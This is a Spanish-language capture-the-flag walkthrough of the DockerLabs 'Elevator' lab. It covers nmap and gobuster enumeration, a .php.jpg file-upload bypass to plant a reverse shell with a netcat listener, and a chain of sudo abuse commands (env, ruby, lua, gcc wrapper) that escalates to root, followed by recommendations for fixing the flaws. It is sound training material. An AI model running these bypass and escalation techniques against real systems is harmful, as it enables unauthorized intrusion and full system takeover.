Elevator

Introducción

Este documento presenta la resolución completa de la máquina Elevator, creada por beafn28 para DockerLabs y clasificada con un nivel de dificultad fácil.

El objetivo es proporcionar un análisis claro y bien estructurado de cada fase del proceso de explotación, abordando:

• Identificación de servicios y recursos accesibles.
• Análisis del comportamiento de la aplicación web.
• Explotación basada en vulnerabilidades de subida de archivos.
• Progresión controlada a través de múltiples cuentas locales.
• Escalada final hasta obtener acceso root mediante binarios privilegiados.

Todas las acciones se realizaron dentro del entorno aislado de DockerLabs, sin afectar sistemas externos.

---

Información General

Atributo	Valor
Nombre	Elevator
Autor	beafn28
Dificultad	Fácil
Fecha	01/12/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Se descomprime la máquina:

unzip "Elevator.zip"

Luego, se inicia el contenedor mediante el script proporcionado:

sudo bash auto_deploy.sh "Elevator.tar"

El script devuelve la IP interna, que utilizaremos durante toda la explotación.

---

Paso 1 — Reconocimiento

1.1 Creación del entorno de trabajo

Organizar la información ayuda al análisis y documentación:

mkdir -p Elevator/{content,exploits,nmap,gobuster,scripts}
cd Elevator

1.2 Escaneo de puertos

Se identifica la superficie de ataque mediante un escaneo completo:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultado:

• 80/tcp — HTTP

El servidor web será nuestro punto de entrada.

---

1.3 Enumeración Web (HTTP)

Se procede a mapear directorios y archivos públicos:

gobuster dir \
  -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js \
  -t 200

Rutas detectadas:

• /index.php — Página principal, muestra un ascensor con temática de Scooby-Doo.
• /themes — Directorio accesible pero sin permisos de listado.

Dado que themes aparece como posible punto de interés, se fuzzea su contenido:

gobuster dir \
  -u http://172.17.0.2/themes/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js \
  -t 200

Se identifican:

• /uploads — Directorio con acceso permitido.
• /uploads.php — Posible manejador de subida.
• /archivo.html — Formulario de subida de archivos.

---

Paso 2 — Explotación (Acceso inicial)

El archivo archivo.html permite subir imágenes, lo cual sugiere una vulnerabilidad de File Upload.

El sistema restringe la carga solo a archivos con extensión .jpg. Se prueban varios bypass hasta encontrar uno funcional: renombrar la reverse shell como:

revShell.php.jpg

El archivo resulta aceptado y se sube sin problemas.

La subida se confirma revisando el directorio /uploads:

Antes de ejecutar el archivo malicioso, se abre un listener:

nc -nlvp 443

Finalmente, se accede al payload para activar la reverse shell:

Acceso inicial obtenido como usuario www-data.

---

Paso 3 — Escalada de privilegios

Cada usuario tiene permisos sudo sobre diferentes binarios. El CTF simula un “ascensor”: se debe ir escalando a cada miembro del equipo de Scooby-Doo hasta llegar a root.

---

3.1 www-data → Daphne

Salida de sudo -l:

Permite ejecutar env como daphne:

sudo -u daphne env /bin/bash

---

3.2 Daphne → Vilma

Permiso sobre ash:

sudo -u vilma ash

---

3.3 Vilma → Shaggy

Permiso sobre ruby:

sudo -u shaggy ruby -e 'exec "/bin/bash"'

---

3.4 Shaggy → Fred

Permiso sobre lua:

sudo -u fred lua -e 'os.execute("/bin/bash")'

---

3.5 Fred → Scooby

Permiso sobre gcc:

sudo -u scooby gcc -e -wrapper /bin/bash,-s .

---

3.6 Scooby → Root

Permite ejecutar sudo como root, lo cual es trivialmente explotable:

sudo sudo /bin/bash

Acceso final: root.

---

Fallos de seguridad identificados

• Falta de validación de tipo MIME y extensión real en la subida de archivos.
• Exposición del directorio /uploads sin restricciones.
• Uso incorrecto de sudoers, permitiendo ejecutar binarios sin contraseña.
• Permisos escalonados que facilitan movimiento lateral entre usuarios.
• Ausencia de aislamiento entre cuentas del sistema.
• Aplicación web sin sanitización o mecanismos de seguridad básicos.

---

Recomendaciones

• Implementar validación estricta del tipo de archivo en las cargas.
• Restringir acceso público a directorios sensibles (uploads).
• Revisar configuraciones del archivo sudoers y eliminar permisos innecesarios.
• Aplicar el principio de mínimo privilegio.
• Habilitar logs, auditoría y monitoreo de acciones.
• Aislar servicios web en usuarios sin acceso al sistema base.
• Aplicar endurecimiento general del servidor web y del sistema host.